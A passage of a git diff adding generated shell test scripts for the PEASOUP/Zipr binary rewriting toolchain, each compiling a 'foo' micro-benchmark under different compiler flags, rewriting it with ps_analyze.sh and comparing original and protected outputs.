+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5d61c5ad7578a61c49776305609d0c1a00b37756
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ab001290cb9182cf3c8262fb604e79ecf53f145d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b50260e0d01c519c6b90143db5ac26a2eb2c559c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..da3c2ba6eb4cdae8f050735445591d3f7b20f08c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4c8e82aafecf413c7378b99a732e7feb7229c1ed
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7b7393151fc844903e2a7d36ae306882648f727f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
